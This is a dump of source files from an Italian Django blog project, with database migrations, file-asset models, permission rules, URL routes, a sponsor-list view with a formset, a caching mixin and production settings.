name='teaser',\n field=models.CharField(blank=True, max_length=250, null=True, verbose_name='url immagine di copertina'),\n ),\n ]\n" }, { "alpha_fraction": 0.6294536590576172, "alphanum_fraction": 0.6342042684555054, "avg_line_length": 31.384614944458008, "blob_id": "461b370a9a47e6956a7726b44f90aba337051482", "content_id": "0af35bcdac19d7db4efb782de2fc6cc312e4d390", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 421, "license_type": "no_license", "max_line_length": 101, "num_lines": 13, "path": "/apps/templates/gild/member-create-or-update.html", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "{% extends './base.html' %}\n\n{% block content %}\n<h2 class=\"uk-heading-divider\">{{submit_label|capfirst}} socio</h2>\n<form method=\"post\">\n {% include 'common/partials/_generic-form.html' with twoColumns=True submit_label=submit_label %}\n</form>\n<div class=\"uk-margin\">\n <a class=\"uk-link\" href=\"{% url 'gild:member-list' %}\" class=\"uk-text-small\"></a>\n Vai all'elenco dei soci\n </a>\n</div>\n{% endblock %}\n" }, { "alpha_fraction": 0.5442708134651184, "alphanum_fraction": 0.5911458134651184, "avg_line_length": 20.33333396911621, "blob_id": "d9a9f1d1be14c7c66882b537883ce24ac87c6ddf", "content_id": "874031f578f2d09686bda619b5115b6d13705cca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "no_license", "max_line_length": 53, "num_lines": 18, "path": "/apps/blog/migrations/0009_article_isapproved.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-10 11:57\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0008_article_isdraft'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='article',\n name='isApproved',\n field=models.BooleanField(default=False),\n ),\n ]\n" }, { "alpha_fraction": 0.7349397540092468, "alphanum_fraction": 0.7349397540092468, "avg_line_length": 15.600000381469727, "blob_id": "ca54a2c774103b19a646d6d7f61e936a4959146f", "content_id": "c1af02cd7ebb0c7c31106ccf3ebad00dfa2babc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 83, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/apps/gild/apps.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass GildConfig(AppConfig):\n name = 'gild'\n" }, { "alpha_fraction": 0.4977973699569702, "alphanum_fraction": 0.5099965929985046, "avg_line_length": 25.790908813476562, "blob_id": "c6594a0b666fb336df08e5622c61ef694e067188", "content_id": "3a0dc11ad1c4f84e509056cbf7c29a919aca9b18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2951, "license_type": "no_license", "max_line_length": 91, "num_lines": 110, "path": "/apps/filer/models.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import os\nfrom django.db import models\nfrom django.urls import reverse_lazy\nfrom django.core.files.storage import default_storage\nfrom datetime import datetime\nfrom django.conf import settings\n\nfrom django.contrib.auth.models import User\nfrom apps.common.models import TimeStampedModel\n\n\n# ----------------------------------------------------------------------\n# MANAGERS\n# ----------------------------------------------------------------------\n\nclass AssetManager(models.Manager):\n # get selected assets from user\n def get_selected_assets(self, **kwargs):\n return self.filter(user=kwargs.get('user')).filter(isSelected=True)\n\n# ----------------------------------------------------------------------\n# MODELS\n# ----------------------------------------------------------------------\n\nclass Tag(models.Model):\n\n # fields\n name = models.CharField('Tag', max_length=100, unique=True)\n\n # meta\n class Meta:\n ordering = ('name',)\n\n # str\n def __str__(self):\n return self.name\n \n # abosolute url\n def get_absolute_url(self):\n return reverse_lazy('filer:tag-list')\n\nclass Asset(TimeStampedModel):\n \n # constants\n IMG = 'IMG'\n PDF = 'PDF'\n MSO = 'MSO'\n \n ASSET_CHOICES = (\n (IMG, 'Immagine'),\n (PDF, 'PDF'),\n (MSO, 'Microsoft Office'),\n )\n\n ASSETS_MIMETYPES = [\n 'jpeg', 'png', 'gif', 'svg', 'pdf', 'msword', 'excel', 'powerpoint'\n ]\n \n ASSET_FILES_LIMITS = {\n 'IMG': 512 * 1024,\n 'PDF': 512 * 1024,\n 'DOC': 512 * 1024,\n 'XLS': 512 * 1024,\n }\n\n # meta\n class Meta:\n ordering = ('-created',)\n\n # relations\n tag = models.ManyToManyField(Tag)\n user = models.ForeignKey(User, on_delete= models.CASCADE)\n \n # upload fn\n def upload_to(instance, filename):\n trail = ''\n current_year = int(datetime.now().year)\n return '{0}user_{1}/{2}/{3}'.format(trail,instance.user.id, current_year, filename)\n \n # fields\n resource = models.FileField(upload_to = upload_to)\n typeOf = models.CharField(max_length = 5, choices=ASSET_CHOICES, default=IMG)\n isSelected = models.BooleanField(default = False)\n\n # manager\n objects = AssetManager()\n\n # str\n def __str__(self):\n return self.resource.url\n\n # get_absolute_url\n def get_absolute_url(self):\n return reverse_lazy('filer:asset-update', kwargs={'pk': self.pk })\n \n # get file name\n def filename(self):\n return os.path.basename(self.resource.name)\n\n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def delete(self, *args, **kwargs):\n try:\n # delete file\n default_storage.delete(self.resource.name)\n except:\n pass\n # call super\n super(Asset, self).delete(*args,**kwargs)\n " }, { "alpha_fraction": 0.5091384053230286, "alphanum_fraction": 0.58746737241745, "avg_line_length": 20.27777862548828, "blob_id": "353935a015fdc78e7935551c51b0553f6360c67a", "content_id": "fe177a7b0f27f2fdb16f4d56cde112d90ef67dc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "no_license", "max_line_length": 52, "num_lines": 18, "path": "/apps/blog/migrations/0008_article_isdraft.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-09 08:36\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0007_auto_20180906_1937'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='article',\n name='isDraft',\n field=models.BooleanField(default=True),\n ),\n ]\n" }, { "alpha_fraction": 0.4901703894138336, "alphanum_fraction": 0.4901703894138336, "avg_line_length": 39.105262756347656, "blob_id": "89bbe5e52e04cc2a434106091d3cd2a92bf6887b", "content_id": "55cbde1ef8f69d8802cba4a70634c323f60d4952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 763, "license_type": "no_license", "max_line_length": 85, "num_lines": 19, "path": "/apps/account/rules.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "\nimport rules\n\n# ----------------------------------------------------------------\n# PREDICATES\n# ----------------------------------------------------------------\n\nis_editor = rules.is_group_member('editor')\nis_author = rules.is_group_member('author')\nis_author_secure = rules.is_group_member('author_secure')\nis_author_either = is_author | is_author_secure\nis_author_or_editor = is_author_either | is_editor\n\n# ----------------------------------------------------------------\n# RULES\n# ----------------------------------------------------------------\n\nrules.add_rule('account.has_editor_privileges', is_editor)\nrules.add_rule('account.has_author_privileges', is_author_either)\nrules.add_rule('account.has_either_author_or_editor_privileges', is_author_or_editor)\n" }, { "alpha_fraction": 0.7017913460731506, "alphanum_fraction": 0.7038988471031189, "avg_line_length": 54.882354736328125, "blob_id": "b7b99a1f9da67272db2ee1a7316ae2592a5dcaf6", "content_id": "cecd87fe6e532607105e35ed5a7223fa1a583b72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 949, "license_type": "no_license", "max_line_length": 115, "num_lines": 17, "path": "/apps/account/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom django.contrib.auth.views import LogoutView\nfrom . import views\n\napp_name = 'account'\n\nurlpatterns = [\n # path('register', views.Account_Register.as_view(), name=\"register\"),\n path('login', views.Account_Login.as_view(), name=\"login\"),\n path('dashboard/<int:pk>', views.Account_Dashboard.as_view(), name=\"dashboard\"),\n path('logout/', LogoutView.as_view(next_page='/'), name='logout'),\n path('password_change/', views.Account_Password_Change.as_view(), name='password-change'),\n path('password_reset/', views.Account_Password_Reset.as_view(), name='password-reset'),\n path('reset/<uidb64>/<token>/', views.Account_Password_Reset_Confirm.as_view(), name='password-reset-confirm'),\n path('password_reset/done/', views.Account_Password_Reset_Done.as_view(), name='password-reset-done'),\n path('reset/done/', views.Account_Password_Reset_Complete.as_view(), name='password-reset-complete'),\n]" }, { "alpha_fraction": 0.600298285484314, "alphanum_fraction": 0.6159582138061523, "avg_line_length": 22.120689392089844, "blob_id": "fcf69ebea04e8584d8d63ea8c397a7ec851e6ef7", "content_id": "f0cf2c08e1ebd2ec9c3d623674db59a22b536709", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1341, "license_type": "no_license", "max_line_length": 73, "num_lines": 58, "path": "/config/production_do.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import os\nfrom decouple import config\n\nfrom .base import *\n\n# site ID\nSITE_ID = 2\n\n# ALLOWED HOSTS\nALLOWED_HOSTS = [\n 'localhost',\n '104.248.35.152',\n 'sippas.info',\n 'www.sippas.info',\n 'sippas.it',\n 'www.sippas.it'\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\n# DATABASE SETTINGS\nDATABASES = {\n 'default': {\n 'ENGINE' : 'django.db.backends.postgresql',\n 'HOST' : config('DO_DB_HOST'),\n 'PORT' : config('DO_DB_PORT'),\n 'NAME' : config('DO_DB_NAME'),\n 'USER' : config('DO_DB_USER'),\n 'PASSWORD' : config('DO_DB_PASSWORD')\n }\n}\n\n# CACHE\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n 'LOCATION': '/opt/django_cache',\n 'TIMEOUT': 60*60*3,\n 'OPTIONS': {\n 'MAX_ENTRIES': 500\n }\n }\n}\n\n# STATIC\nSTATIC_URL = '/static/'\n\n# MEDIA\nMEDIA_URL = '/media/'\nMEDIA_ROOT = '/opt/myenv/django2/media/'\n" }, { "alpha_fraction": 0.663112998008728, "alphanum_fraction": 0.663112998008728, "avg_line_length": 38.16666793823242, "blob_id": "a97cfec050ef831e4252674632d918ae07af21c3", "content_id": "2ac42b36dcb741753751796141caa6c43746cc8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 469, "license_type": "no_license", "max_line_length": 82, "num_lines": 12, "path": "/apps/gild/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'gild'\n\nurlpatterns = [\n path('', views.Member_List.as_view(), name=\"member-list\"),\n path('page/<int:page>', views.Member_List.as_view(), name=\"member-list-page\"),\n path('create/', views.Member_Create.as_view(), name=\"member-create\"),\n path('update/<int:pk>', views.Member_Update.as_view(), name=\"member-update\"),\n path('delete/<int:pk>', views.Member_Delete.as_view(), name=\"member-delete\")\n]" }, { "alpha_fraction": 0.7911646366119385, "alphanum_fraction": 0.7911646366119385, "avg_line_length": 30.25, "blob_id": "8d597978fb18c3bce6fe580a969a05635db49619", "content_id": "987004b21f4f3e2f70e024037cb6fce7dc39bd1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 249, "license_type": "no_license", "max_line_length": 89, "num_lines": 8, "path": "/apps/account/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.forms import BooleanField\nfrom django.contrib.auth.forms import UserCreationForm\n\n\nclass MySignupForm(UserCreationForm):\n \n # add extra field\n disclaimer = BooleanField(label=\"Acconsento al trattamento dei miei dati personali\",)" }, { "alpha_fraction": 0.5436351895332336, "alphanum_fraction": 0.5446194410324097, "avg_line_length": 39.105262756347656, "blob_id": "60e29f1d241879342f5833865907f46f20c72171", "content_id": "ae74d0e82c766a97b7f6eaf132fde1489526e7c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3048, "license_type": "no_license", "max_line_length": 84, "num_lines": 76, "path": "/apps/sponsor/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.views.generic import ListView\nfrom rules.contrib.views import PermissionRequiredMixin\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse_lazy\nfrom django.utils.http import urlencode\nfrom django.shortcuts import render\n\nfrom .models import * \nfrom .forms import * \nfrom apps.common.functions import get_cleaned_path\n# list tag\nclass Company_List(LoginRequiredMixin, PermissionRequiredMixin, ListView):\n \n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = (\n 'sponsor.create_company', \n 'sponsor.update_company', \n 'sponsor.delete_company'\n )\n\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'sponsor/company-list.html'\n model = Company\n paginate_by = 10\n formset = Company_Formset_Factory\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Company_List, self).get_context_data()\n # add cleaned path\n ctx['cleaned_path'] = get_cleaned_path('sponsor:company-list')\n # add formset to context\n ctx['formset'] = self.formset(queryset=ctx['object_list'])\n # return context\n return ctx \n\n def post(self, request, *args, **kwargs):\n # needed to get context data in POST\n self.object_list = self.get_queryset()\n # populate formset with POST data\n formset = self.formset(request.POST, request.FILES)\n # if formset is valid and was changed somehow\n if formset.has_changed() & formset.is_valid():\n # save formset without commit\n instances = formset.save(commit=False)\n # loop through deleted sponsors\n for deleted_sponsor in formset.deleted_objects:\n # delete sponsor\n deleted_sponsor.delete()\n # loop through ordered sponsors\n for form in formset.ordered_forms:\n ordered_sponsor = form.save(commit=False)\n ordered_sponsor.rank = form.cleaned_data['ORDER']\n ordered_sponsor.save()\n # redirect to succes\n return HttpResponseRedirect(self.get_success_url()) \n else:\n # get context\n ctx = self.get_context_data()\n # update context with POST populated formset\n ctx['formset'] = formset\n # render page\n return render(request, self.template_name, ctx) \n\n def get_success_url(self):\n # build success\n url = reverse_lazy('sponsor:company-list')\n return u'%s?%s' % (url, urlencode({'page':self.request.GET.get('page', 1)}))\n" }, { "alpha_fraction": 0.6773455142974854, "alphanum_fraction": 0.6887871623039246, "avg_line_length": 42.79999923706055, "blob_id": "fed5846c205af16ce49a56ad70f33b0d960a8d2f", "content_id": "721314a23ad03614c34d4f9de90859fc9b014aa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 437, "license_type": "no_license", "max_line_length": 80, "num_lines": 10, "path": "/apps/common/mixins.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.views.decorators.cache import cache_page\nfrom django.utils.cache import patch_response_headers, patch_cache_control\n\nclass CacheMixin(object):\n \n def dispatch(self, *args, **kwargs):\n if hasattr(self.request, 'user') and self.request.user.is_authenticated:\n return super(CacheMixin, self).dispatch(*args, **kwargs)\n else:\n return cache_page(30*30*3)(super().dispatch)(*args, **kwargs)" }, { "alpha_fraction": 0.39153438806533813, "alphanum_fraction": 0.39153438806533813, "avg_line_length": 34.5, "blob_id": "6654fd8fe26379fbfbc3e932fda00d98cb665598", "content_id": "1794c7bcd0a748e21a4deafa54f9025712f9112a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 567, "license_type": "no_license", "max_line_length": 66, "num_lines": 16, "path": "/apps/gild/rules.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import rules\n\n# ----------------------------------------------------------------\n# PREDICATES\n# ----------------------------------------------------------------\nis_editor = rules.is_group_member('editor')\n\n# ----------------------------------------------------------------\n# RULES\n# ----------------------------------------------------------------\n\n# article related\nrules.add_perm('gild.view_member', rules.always_allow())\nrules.add_perm('gild.create_member', is_editor)\nrules.add_perm('gild.update_member', is_editor)\nrules.add_perm('gild.delete_member', is_editor)" } ]
57
manlepe/Python3
https://github.com/manlepe/Python3
e54b003e5360dd1ef82ffefeea6108e535ba528a
aec2f5805f16e3b6358448bc3f079a3c7651169a
58533efb479d3b2bab81d8834e9169de0ece9e7b
refs/heads/master
2020-03-04T16:31:03.752103
2015-05-02T16:15:38
2015-05-02T16:15:38
31,549,554
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5564681887626648, "alphanum_fraction": 0.5749486684799194, "avg_line_length": 12.914285659790039, "blob_id": "28a25f78b8db0d5ac0ea1b0f6b63c6db48d4c4c0", "content_id": "c22b2553c75e15a8cba5d021eef8e5c992ab3926", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 487, "license_type": "no_license", "max_line_length": 37, "num_lines": 35, "path": "/NumbersFile.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#Manuel Lepe Hanon\nimport math\n\ndef readNumbersFromFiles(path):\n C=open(path,\"r\")\n total=0\n num=0\n va=0\n sd=0\n list1=[]\n\n for line in C:\n value=int(line)\n list1.append(value)\n total=total+value\n num=num+1\n\n average=total/num\n\n for item in list1:\n va=(va+(item-average)**2)/num\n\n\n sd=math.sqrt(va)\n\n\n C.close\n print(total)\n print(num)\n print(total/num)\n print(sd)\n\npath=\"random_numbers.txt\"\n\nreadNumbersFromFiles(path)\n" }, { "alpha_fraction": 0.6177847385406494, "alphanum_fraction": 0.6505460143089294, "avg_line_length": 24.639999389648438, "blob_id": "05be8dac6292fb262ef732d27e6f21948e6ffa9d", "content_id": "b7bb597627ff7f30776022803d5a015edeba29fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 68, "num_lines": 25, "path": "/Cars.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "def getdata(file):\n gas_milage_city=0;\n gas_milage_highway=0;\n midrange_price=0;\n index=0;\n\n datafile=open(file,'r')\n for line in datafile:\n\n if index%2 ==0:\n\n gas_milage_city=gas_milage_city+float(line[52:54])\n gas_milage_highway=gas_milage_highway+float(line[55:57])\n midrange_price=midrange_price+float(line[42:46])\n index=index+1\n\n gas_milage_city=gas_milage_city/index\n gas_milage_highway=gas_milage_highway/index\n midrange_price=midrange_price/index\n\n print(gas_milage_city)\n print(gas_milage_highway)\n print(midrange_price)\n\ngetdata(\"93cars.dat.txt\")\n" }, { "alpha_fraction": 0.5316804647445679, "alphanum_fraction": 0.5564738512039185, "avg_line_length": 23.200000762939453, "blob_id": "e98f8ad1ddc6f35b04b97cbbbaca20ee8b92b7a6", "content_id": "582fce3d4dc2d76b689b2c7b78230b8abb3bd19a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 726, "license_type": "no_license", "max_line_length": 76, "num_lines": 30, "path": "/Square_Babylonian.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#WSQ13\n#Manuel Lepe Hanon\n#A01223400\n\n#------------------Function Declaration----------------\n\ndef sqr(x,y0,z):\n print(\"Initial guess: \",y0)\n\n for i in range(z):\n y=(y0+(x/y0))/2\n\n if(y0==y):\n return y\n y0=y\n\n print(\"Iteration\",i+1,\": \",y)\n print(\"\")\n return y\n\n#----------------------Main----------------------------\nnum=float(input(\"Enter the number that you want to process: \"))\nprint(\"\")\nguess=float(input(\"Enter the number that you want to use as first guess: \"))\nprint(\"\")\nepochs=int(input(\"Enter the number of iterations you want to compute: \"))\nprint(\"\")\nprint(\"Calculating the square root using the babylonian method\")\n\nprint(\"Aproximated Square root: \",sqr(num,guess,epochs))\n" }, { "alpha_fraction": 0.43287035822868347, "alphanum_fraction": 0.45601850748062134, "avg_line_length": 16.280000686645508, "blob_id": "c60d1c1758bb3650d32ddd9dbfb461f18dba5dc4", "content_id": "938156b8b7139d948e32923ed75876bcbcc5d541", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 56, "num_lines": 25, "path": "/GCD.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#WSQ12\n#Manuel Lepe Hanon\n#A01223400\n\n#-------------------Function Declaration----------------\n\ndef gcd(a,b):\n while a!=b:\n if a>b:\n a=a-b\n else:\n b=b-a\n return a\n\n#------------------------Main---------------------------\n\na=int(input(\"Enter the first number: \"))\nb=int(input(\"Enter the second number: \"))\n\nprint(\"\")\nprint(\"Calculating the greatest common divisor\")\n\n\nprint(\"GCD: \",gcd(a,b))\nprint(\"\")\n" }, { "alpha_fraction": 0.7384615540504456, "alphanum_fraction": 0.8153846263885498, "avg_line_length": 20.66666603088379, "blob_id": "59cb814b97b61f9cd4ba117406c278c6806a0729", "content_id": "3bdfcda1c7c7ac051d0e9f2cee4cd5897e4e58d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 65, "license_type": "no_license", "max_line_length": 47, "num_lines": 3, "path": "/README.md", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "# Python3\nTC1014\n#Mecatronic student figuring out how this works\n" }, { "alpha_fraction": 0.5933014154434204, "alphanum_fraction": 0.6315789222717285, "avg_line_length": 15.076923370361328, "blob_id": "fc6dc1837233fe370cc8006db5992b94f45871da", "content_id": "82960b6d26b4d49b6cde352843633a5cba0428cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 209, "license_type": "no_license", "max_line_length": 56, "num_lines": 13, "path": "/Copy.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#Manuel Lepe Hanon\n#A01223400\n\n#Programs that read a certain file and then makes a copy\n\nC = open(\"Original.txt\",\"r\")\nV = open(\"Test.txt\",\"w\")\n\nfor line in C:\n print(line,end=\"\")\n V.write(line)\nC.close()\nV.close()\n" }, { "alpha_fraction": 0.4858611822128296, "alphanum_fraction": 0.5475578308105469, "avg_line_length": 20.61111068725586, "blob_id": "c647442150f5ad84bad1b9bfaac5d5398f444c75", "content_id": "f77da59e7718a2f76a593343bae1ff598a0908ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 389, "license_type": "no_license", "max_line_length": 43, "num_lines": 18, "path": "/dotProduct.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#Manuel Lepe Hanon\n#Question 2 Quiz 10\n\ndef dotProduct(vector1,vector2):\n sum=0;\n if len(vector1)==len(vector2):\n for i in range(len(vector1)):\n sum=sum+(vector1[i]*vector2[i])\n return sum\n else:\n print(\"Not same size vectors\")\n return -1\n\n#-------------------Main---------------\nvector1=[2,4,5,6]\nvector2=[1,2,3,4]\n\nprint(dotProduct(vector1,vector2))\n" }, { "alpha_fraction": 0.5211009383201599, "alphanum_fraction": 0.5376147031784058, "avg_line_length": 19.185184478759766, "blob_id": "d2271dbb0ca8d6b5ba32e551e88437ab11db3fa1", "content_id": "7a70f065fe5b1b3ebf0d5abe93d5714435ef4868", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 545, "license_type": "no_license", "max_line_length": 75, "num_lines": 27, "path": "/Estimating_e.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#WSQ14\n#Manuel Lepe Hanon\n\n#Program asks the user for the number of decimals of precision and then\n#estimates the value of e.\n\n#-----------------------Function Declaration------------------\n\ndef calculate_e(prs):\n e=0.0\n\n for i in range(prs+5):\n\n e=e+1/factorial(i)\n\n return e\n\ndef factorial(num):\n if num<1:\n return 1\n else:\n return num*factorial(num-1)\n\n#--------------------------Main-------------------------------\nprs=int(input(\"Input the number of decimals are going to be calculated: \"))\n\nprint(calculate_e(prs))\n" }, { "alpha_fraction": 0.40830451250076294, "alphanum_fraction": 0.47058823704719543, "avg_line_length": 17.0625, "blob_id": "50b5d45c8877f33e3f62bd2256af1702692f442f", "content_id": "256af92002517eaf1d4ca6aef0bddb2a23fd5d3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 289, "license_type": "no_license", "max_line_length": 38, "num_lines": 16, "path": "/findThrees.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#Manuel Lepe Hanon\n#Question 1 Quiz 10\n\ndef findThrees(listA):\n sum=0;\n for i in range(0,len(listA)):\n mod= listA[i]%3\n if mod==0:\n \n sum=sum+listA[i]\n return sum;\n\n#-----------------Main----------------\nlist1=[0,4,2,6,9,8,3,12]\n\nprint(findThrees(list1))\n" }, { "alpha_fraction": 0.529411792755127, "alphanum_fraction": 0.5417956709861755, "avg_line_length": 16, "blob_id": "869afd44240434d7967c348ad5f6a2e1d7e506ac", "content_id": "66a57012d0c51b2d839150d5c63c2dda9b9b63d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 323, "license_type": "no_license", "max_line_length": 45, "num_lines": 19, "path": "/checkString.py", "repo_name": "manlepe/Python3", "src_encoding": "UTF-8", "text": "#Manuel Lepe Hanon\n\ndef check_banana(path):\n F=open(path,\"r\")\n string=\"banana\"\n times=0\n\n for line in F:\n line=line.lower()\n index=line.find(string)\n while index !=-1:\n\n times=times+1\n index=line.find(string,(index+1))\n print(times)\n\n F.close()\n\ncheck_banana(\"banana.txt\")\n" } ]
10
mireille93/machinelearning
https://github.com/mireille93/machinelearning
a4e14faf9b5224eba271e72c4f9ff0c2aed4082c
6d9b2017d5952b53a55ebe359cdcd7e430da3c25
f42788f23b126e7f8710d8edc63682405d3e56ec
refs/heads/master
2020-09-09T01:31:59.954388
2019-11-12T20:15:39
2019-11-12T20:15:39
221,302,989
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6304591298103333, "alphanum_fraction": 0.6469764709472656, "avg_line_length": 31.074073791503906, "blob_id": "4294fefd25c2662030867462ba428f75ecded569", "content_id": "ad705c3f1f63d5525fbdc109abfa7fb516e0b201", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3573, "license_type": "no_license", "max_line_length": 151, "num_lines": 108, "path": "/SVM_Lineeaire.py", "repo_name": "mireille93/machinelearning", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 11 01:56:19 2019\r\n\r\n@author: Mireille/Henri\r\n\"\"\"\r\n\r\n# Methode de SVM lineaire\r\n\r\n# importing the Dataset\r\n\r\nimport pandas as pd\r\n\r\n#Data cleaning and preprocessing\r\nimport re\r\nimport nltk\r\nnltk.download('stopwords')\r\n\r\n# telechhargement du jeu de donnnees en format csv les label separe des messages par des esoaces\r\nmessages = pd.read_csv('smsspamcollection/SMSSpamCollection', sep='\\t',\r\n names=[\"label\", \"message\"])\r\n\r\n\r\n#stopwords contient des mots courant en anglais les plus utilises\r\nnltk.download('stopwords')\r\n\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem.porter import PorterStemmer\r\nps = PorterStemmer()\r\ncorpus = []\r\n#les mots de stopwords sont compares et supprimes du jeu de donnees\r\nfor i in range(0, len(messages)):\r\n review = re.sub('[^a-zA-Z]', ' ', messages['message'][i])\r\n review = review.lower()\r\n review = review.split()\r\n \r\n review = [ps.stem(word) for word in review if not word in stopwords.words('english')]\r\n review = ' '.join(review)\r\n corpus.append(review)\r\n \r\n# Utilisation de 2500 mots les plus frequents du jeu de donnnes\r\n# la matrice X contient une matrice de 5572,2500 de valeur 0/1\r\n# y est contient la transformation des label transformes en (ham=0/spam=1) du jeu de donnees\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\ncv = CountVectorizer(max_features=2500)\r\nX = cv.fit_transform(corpus).toarray()\r\n\r\ny=pd.get_dummies(messages['label'])\r\ny=y.iloc[:,1].values\r\n\r\n\r\n# Train Test Split (partage du jeu de donnees pour les tests, 20% de la taille totale)\r\n# 80% restant pour l'entraienement\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\r\n\r\n \r\n# Training model using SVM classifier\r\n\r\nfrom sklearn.svm import SVC\r\n#recuperation de l'objet SVM lineaire\r\nspam_detect_model = SVC(kernel='linear', random_state = 0)\r\n\r\nspam_detect_model.fit(X_train, y_train)\r\n\r\n#prediction sur les jeux de test\r\ny_pred=spam_detect_model.predict(X_test)\r\n\r\nprint(\"**********************************************************************\")\r\n\r\ndef pourcentage_reussite(y_pred, y_test):\r\n count = 0\r\n pourcentage = 0\r\n vecteur = []\r\n for i in range(len(y_pred)):\r\n if(y_pred[i]==y_test[i]):\r\n count = count+1\r\n else:\r\n vecteur.append(y_test[i])\r\n \r\n pourcentage = count*100/len(y_pred) \r\n return pourcentage\r\n\r\nprint(\"************************************************************\")\r\nprint('pourcentage de reuissite est : ',pourcentage_reussite(y_pred, y_test),'\\npourcentage d''echec est :',(100-pourcentage_reussite(y_pred, y_test)))\r\nprint(\"************************************************************\")\r\n\r\n#matrice de confusion des resultats de prediction et de tests\r\nfrom sklearn.metrics import confusion_matrix\r\nconfusion_m=confusion_matrix(y_test,y_pred)\r\n\r\n# accuracy ou indice de resussite des predictions sur les tests\r\nfrom sklearn.metrics import accuracy_score\r\naccuracy=accuracy_score(y_test,y_pred)\r\n\r\n# visualisation des faux positif et des vrai negatif en diagramme\r\nprint(\"***visualisation des faux positif et des vrai negatif en 